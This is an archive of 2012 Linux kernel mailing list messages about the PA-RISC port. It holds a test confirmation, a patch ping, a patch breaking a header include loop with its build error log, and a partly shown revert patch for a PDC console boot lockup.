Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1335430161 32735 80.91.229.3 (26 Apr 2012 08:49:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 26 Apr 2012 08:49:21 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 26 10:49:20 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SNKO8-0008V0-12
	for glpp-linux-parisc@plane.gmane.org; Thu, 26 Apr 2012 10:49:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754908Ab2DZIsl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 26 Apr 2012 04:48:41 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:64984 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754211Ab2DZIsk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 26 Apr 2012 04:48:40 -0400
Original-Received: from ibiza.bxl.tuxicoman.be (vodsl-10893.vo.lu [85.93.208.141]) by venus.vo.lu with SMTP;
   Thu, 26 Apr 2012 10:48:12 +0200
Original-Received: from [172.22.1.1] (helo=driller.lan)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.2:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.77)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1SNKNG-0003Ki-U6; Thu, 26 Apr 2012 10:48:27 +0200
In-Reply-To: <BLU0-SMTP60C76C814A1780515CC0B297200@phx.gbl>
X-Mailer: Claws Mail 3.8.0 (GTK+ 2.24.8; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4300>

On Sun, 22 Apr 2012 08:20:23 -0400
John David Anglin <dave.anglin@bell.net> wrote:
> 
> Could you try the attached patch?  It adjusts the section arrangement
> so that the long branch stubs don't appear at the start of .text.  As
> a result,
> _stext and stext now are at 10100000.

Works like a charm. I was able to boot all the kernels I had issue with.

Tested-by: Guy Martin <gmsoft@tuxicoman.be>

Thanks a lot !

  Guy

> 
> The problem arises from section merging and a few branch distances
> in the kernel exceeding the PA 2.0 limit.
> 
> The patch might not work if the long branch stubs don't work...
> 
> Another approach might be to add -mlong-calls to CFLAGS.  However,
> these calls are less efficient.
> 
> Dave
> --
> John David Anglin	dave.anglin@bell.net
> 
> 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 0/6] PA-RISC: fix compile
Date: Tue, 01 May 2012 15:28:01 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <2980093.pP6IpthNCP@donald.sf-tec.de>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart3929007.imp2FqxQY5"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1335878906 18903 80.91.229.3 (1 May 2012 13:28:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 May 2012 13:28:26 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	David Howells <dhowells@redhat.com>,
	Arnd Bergmann <arnd@arndb.de>,
	"H. Peter Anvin" <hpa@zytor.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 01 15:28:25 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SPD7w-0000oH-BD
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 May 2012 15:28:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756601Ab2EAN2X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 May 2012 09:28:23 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42511 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755661Ab2EAN2X (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 May 2012 09:28:23 -0400
Original-Received: (qmail 15405 invoked from network); 1 May 2012 13:28:20 -0000
Original-Received: from dslb-178-003-160-168.pools.arcor-ip.net ([::ffff:178.3.160.168]:33971 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 01 May 2012 15:28:20 +0200
User-Agent: KMail/4.8.2 (Linux/3.2.9-13-desktop; KDE/4.8.2; i686; ; )
In-Reply-To: <3154414.psmJh6J2U2@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4302 gmane.linux.kernel:1290079
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4302>


--nextPart3929007.imp2FqxQY5
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Rolf Eike Beer wrote:
> Since d66acc39c7cee323733c8503b9de1821a56dff7e (bitops: Optimise
> get_order()) getorder.h includes log2.h which leads to an include loop on
> PA-RISC, bringing a bunch of other breakage to light. This patchset fixes
> the compilation of the current state of 3.4 on HPPA.
> 
> Rolf Eike Beer (6):
>   use linux/bitops.h instead of linux/log2.h to get fls()
>   parisc: add missing includes in asm/spinlock.h
>   parisc: add missing forward declarations in asm/hardware.h
>   parisc: drop include of asm/pdc.h from asm/hardware.h
>   parisc: add missing include of asm/page.h to asm/pgtable.h
>   parisc: move definition of PAGE0 to asm/page.h

Ping? #4 meanwhile got an ACK from Grant, I have not received any other 
comments. James, could you please take the latter 5 if you don't feel 
comfortable with the first one? That one is just a cleanup and makes no 
difference (yet) if things work or not.

Eike
--nextPart3929007.imp2FqxQY5
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+f5OwACgkQXKSJPmm5/E71gQCcCW2UrJYz50VnSYiMKXRclbkU
/9wAoJLZwd15UxvUOn62rq572Q1DSYNh
=ne+6
-----END PGP SIGNATURE-----

--nextPart3929007.imp2FqxQY5--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] Fix compile failure on PA-RISC
Date: Fri, 4 May 2012 22:58:32 -0400 (EDT)
Lines: 189
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336186781 5299 80.91.229.3 (5 May 2012 02:59:41 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 02:59:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat May 05 04:59:40 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SQVDb-0006lU-9l
	for glk-linux-kernel-3@plane.gmane.org; Sat, 05 May 2012 04:59:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758914Ab2EEC6o (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 4 May 2012 22:58:44 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:1421 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751665Ab2EEC6n (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 4 May 2012 22:58:43 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q452wZKZ015704
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 4 May 2012 22:58:35 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id q452wYep003916
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 4 May 2012 22:58:34 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q452wYL4020193;
	Fri, 4 May 2012 22:58:34 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q452wWR4020185;
	Fri, 4 May 2012 22:58:33 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1292111 gmane.linux.ports.parisc:4304
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1292111>

Hi

This patch fixes compile failure on PA-RISC.

BTW. if the PA-RISC port is uncompilable for all 3.4-rc versions (and 
contains two other bugs that prevent it from booting) ... does it mean 
that I'm the only one who is using PA-RISC with recent kernel?

Mikulas

---

Fix compile failure on PA-RISC

This patch fixes compile error on PA-RISC.

The problem is this:
linux/bitops.h includes asm/bitops.h. Through a chain of dependencies
asm/bitops.h includes asm/page.h and asm/page.h needs function fls and
others defined in asm/bitops.h and linux/bitops.h --- and these
functions are not yet defined because the files linux/bitops.h and
asm/bitops.h hasn't been fully processed.

I moved cpu_relax from asm/processor.h to asm/barrier.h (and I changed
asm/processor.h to include asm/barrier.h so that current users can
assume that asm/processor.h defines cpu_relax). I changed asm/spinlock.h
to include asm/barrier.h and NOT include asm/processor.h. This breaks
the circular chain of dependencies and makes the kernel compile.


  CHK     include/linux/version.h
  UPD     include/linux/version.h
  CHK     include/generated/utsrelease.h
  UPD     include/generated/utsrelease.h
  CC      scripts/mod/empty.o
  MKELF   scripts/mod/elfconfig.h
  HOSTCC  scripts/mod/file2alias.o
  CC      kernel/bounds.s
  GEN     include/generated/bounds.h
  CC      arch/parisc/kernel/asm-offsets.s
In file included from include/asm-generic/getorder.h:7:0,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/page.h:162,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/pdc.h:346,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/hardware.h:5,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/processor.h:15,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:4,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:20,
                 from include/linux/atomic.h:4,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:11,
                 from include/linux/bitops.h:22,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/log2.h: In function '__ilog2_u32':
include/linux/log2.h:34:2: error: implicit declaration of function 'fls' [-Werror=implicit-function-declaration]
include/linux/log2.h: In function '__ilog2_u64':
include/linux/log2.h:42:2: error: implicit declaration of function 'fls64' [-Werror=implicit-function-declaration]
include/linux/log2.h: In function '__roundup_pow_of_two':
include/linux/log2.h:63:2: error: implicit declaration of function 'fls_long' [-Werror=implicit-function-declaration]
In file included from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:20:0,
                 from include/linux/atomic.h:4,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:11,
                 from include/linux/bitops.h:22,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h: In function 'arch_spin_is_locked':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:9:2: error: implicit declaration of function '__ldcw_align' [-Werror=implicit-function-declaration]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:9:29: warning: initialization makes pointer from integer without a cast [enabled by default]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h: In function 'arch_spin_lock_flags':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:22:2: error: implicit declaration of function 'mb' [-Werror=implicit-function-declaration]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:23:4: warning: assignment makes pointer from integer without a cast [enabled by default]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:24:2: error: implicit declaration of function '__ldcw' [-Werror=implicit-function-declaration]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h: In function 'arch_spin_unlock':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:39:4: warning: assignment makes pointer from integer without a cast [enabled by default]
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h: In function 'arch_spin_trylock':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h:50:4: warning: assignment makes pointer from integer without a cast [enabled by default]
In file included from include/linux/atomic.h:4:0,
                 from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:11,
                 from include/linux/bitops.h:22,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h: At top level:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:30:56: error: expected '=', ',', ';', 'asm' or '__attribute__' before '__lock_aligned'
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h: In function '__atomic_add_return':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:66:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:66:2: note: each undeclared identifier is reported only once for each function it appears in
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h: In function 'atomic_set':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:77:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h: In function '__atomic64_add_return':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:160:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h: In function 'atomic64_set':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/atomic.h:172:2: error: '__atomic_hash' undeclared (first use in this function)
In file included from include/linux/bitops.h:22:0,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'set_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:37:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'clear_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:48:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'change_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:59:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'test_and_set_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:72:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'test_and_clear_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:90:2: error: '__atomic_hash' undeclared (first use in this function)
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: In function 'test_and_change_bit':
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:107:2: error: '__atomic_hash' undeclared (first use in this function)
In file included from include/linux/bitops.h:22:0,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h: At top level:
/usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:186:23: error: static declaration of 'fls' follows non-static declaration
include/linux/log2.h:34:9: note: previous implicit declaration of 'fls' was here
In file included from /usr/src/linux-3.4-rc5-fast/arch/parisc/include/asm/bitops.h:214:0,
                 from include/linux/bitops.h:22,
                 from include/linux/kernel.h:19,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/asm-generic/bitops/fls64.h:26:28: error: static declaration of 'fls64' follows non-static declaration
include/linux/log2.h:42:9: note: previous implicit declaration of 'fls64' was here
In file included from include/linux/kernel.h:19:0,
                 from include/linux/sched.h:55,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/bitops.h:160:24: error: conflicting types for 'fls_long'
include/linux/log2.h:63:16: note: previous implicit declaration of 'fls_long' was here
cc1: some warnings being treated as errors
make[1]: *** [arch/parisc/kernel/asm-offsets.s] Error 1
make: *** [prepare0] Error 2
make: *** Waiting for unfinished jobs....

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 arch/parisc/include/asm/barrier.h   |    2 ++
 arch/parisc/include/asm/processor.h |    3 +--
 arch/parisc/include/asm/spinlock.h  |    3 ++-
 3 files changed, 5 insertions(+), 3 deletions(-)

Index: linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h
===================================================================
--- linux-3.4-rc5-fast.orig/arch/parisc/include/asm/spinlock.h	2012-05-03 23:52:36.000000000 +0200
+++ linux-3.4-rc5-fast/arch/parisc/include/asm/spinlock.h	2012-05-03 23:58:09.000000000 +0200
@@ -1,8 +1,9 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
-#include <asm/processor.h>
+#include <asm/barrier.h>
 #include <asm/spinlock_types.h>
+#include <asm/ldcw.h>
 
 static inline int arch_spin_is_locked(arch_spinlock_t *x)
 {
Index: linux-3.4-rc5-fast/arch/parisc/include/asm/barrier.h
===================================================================
--- linux-3.4-rc5-fast.orig/arch/parisc/include/asm/barrier.h	2012-05-03 23:52:36.000000000 +0200
+++ linux-3.4-rc5-fast/arch/parisc/include/asm/barrier.h	2012-05-04 23:49:47.000000000 +0200
@@ -32,4 +32,6 @@
 
 #define set_mb(var, value)		do { var = value; mb(); } while (0)
 
+#define cpu_relax()     __asm__ __volatile__("":::"memory")
+
 #endif /* __PARISC_BARRIER_H */
Index: linux-3.4-rc5-fast/arch/parisc/include/asm/processor.h
===================================================================
--- linux-3.4-rc5-fast.orig/arch/parisc/include/asm/processor.h	2012-05-03 23:52:36.000000000 +0200
+++ linux-3.4-rc5-fast/arch/parisc/include/asm/processor.h	2012-05-03 23:58:09.000000000 +0200
@@ -17,6 +17,7 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/percpu.h>
+#include <asm/barrier.h>
 
 #endif /* __ASSEMBLY__ */
 
@@ -338,8 +339,6 @@ extern unsigned long get_wchan(struct ta
 #define KSTK_EIP(tsk)	((tsk)->thread.regs.iaoq[0])
 #define KSTK_ESP(tsk)	((tsk)->thread.regs.gr[30])
 
-#define cpu_relax()	barrier()
-
 /* Used as a macro to identify the combined VIPT/PIPT cached
  * CPUs which require a guarantee of coherency (no inequivalent
  * aliases with different data, whether clean or not) to operate */

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] Revert 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25
Date: Fri, 4 May 2012 23:04:40 -0400 (EDT)
Lines: 86
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205042259000.18896@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336187121 7100 80.91.229.3 (5 May 2012 03:05:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 5 May 2012 03:05:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Jiri Slaby <jslaby@suse.cz>, Guy Martin <gmsof@tuxicoman.be>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 05 05:05:19 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SQVJ8-0007Yd-I5
	for glpp-linux-parisc@plane.gmane.org; Sat, 05 May 2012 05:05:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758955Ab2EEDFR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 May 2012 23:05:17 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:61819 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758882Ab2EEDFQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 May 2012 23:05:16 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q4534gYZ027074
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 4 May 2012 23:04:42 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q4534fwd005625
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 4 May 2012 23:04:41 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q4534fm8020919;
	Fri, 4 May 2012 23:04:41 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q4534f14020916;
	Fri, 4 May 2012 23:04:41 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205042250130.18896@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4305 gmane.linux.kernel:1292112
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4305>

Hi

This patch reverts commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25.

The commit 5dd5bc40f3b6e0ccdaad948dbadc94ad0906cb25 causes system lockup 
when pdc is used as a boot console.

The kernel boots, but it locks up when transferring control to userspace 
--- the message "INIT: version 2.86 booting" is not printed and the 
computer halts. With the patch reverted, the system starts normally on 
pdc.

Mikulas

---

diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_cons.c
index 4f00459..d14e20f 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -92,11 +92,10 @@ static int pdc_console_setup(struct console *co, char *options)
 
 static void pdc_console_poll(unsigned long unused);
 static DEFINE_TIMER(pdc_console_timer, pdc_console_poll, 0, 0);
-static struct tty_port tty_port;
 
 static int pdc_console_tty_open(struct tty_struct *tty, struct file *filp)
 {
-	tty_port_tty_set(&tty_port, tty);
+
 	mod_timer(&pdc_console_timer, jiffies + PDC_CONS_POLL_DELAY);
 
 	return 0;
@@ -104,10 +103,8 @@ static int pdc_console_tty_open(struct tty_struct *tty, struct file *filp)
 
 static void pdc_console_tty_close(struct tty_struct *tty, struct file *filp)
 {
-	if (!tty->count) {
+	if (!tty->count)
 		del_timer_sync(&pdc_console_timer);
-		tty_port_tty_set(&tty_port, NULL);
-	}
 }
 
 static int pdc_console_tty_write(struct tty_struct *tty, const unsigned char *buf, int count)
@@ -126,6 +123,8 @@ static int pdc_console_tty_chars_in_buffer(struct tty_struct *tty)
 	return 0; /* no buffer */
 }
 
+static struct tty_driver *pdc_console_tty_driver;
+
 static const struct tty_operations pdc_console_tty_ops = {
 	.open = pdc_console_tty_open,
 	.close = pdc_console_tty_close,
@@ -136,8 +135,10 @@ static const struct tty_operations pdc_console_tty_ops = {
 
 static void pdc_console_poll(unsigned long unused)
 {
+
 	int data, count = 0;
-	struct tty_struct *tty = tty_port_tty_get(&tty_port);
+
+	struct tty_struct *tty = pdc_console_tty_driver->ttys[0];
 
 	if (!tty)
 		return;
@@ -153,14 +154,10 @@ static void pdc_console_poll(unsigned long unused)
 	if (count)
 		tty_flip_buffer_push(tty);
 
-	tty_kref_put(tty);
-
 	if (pdc_cons.flags & CON_ENABLED)
 		mod_timer(&pdc_console_timer, jiffies + PDC_CONS_POLL_DELAY);
 }
 
-static struct tty_driver *pdc_console_tty_driver;
-
 static int __init pdc_console_tty_driver_init(void)
 {
 	int err;
@@ -185,8 +182,6 @@ static int __init pdc_console_tty_driver_init(void)
 	printk(KERN_INFO "The PDC console driver is still registered, removing CON_BOOT flag\n");
 	pdc_cons.flags &= ~CON_BOOT;
 
-	tty_port_init(&tty_port);

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: 5fbd036b552f633abb394a319f7c62a5c86a9cd7 breaks PA-RISC boot
Date: Fri, 4 May 2012 23:26:45 -0400 (EDT)
Lines: 378
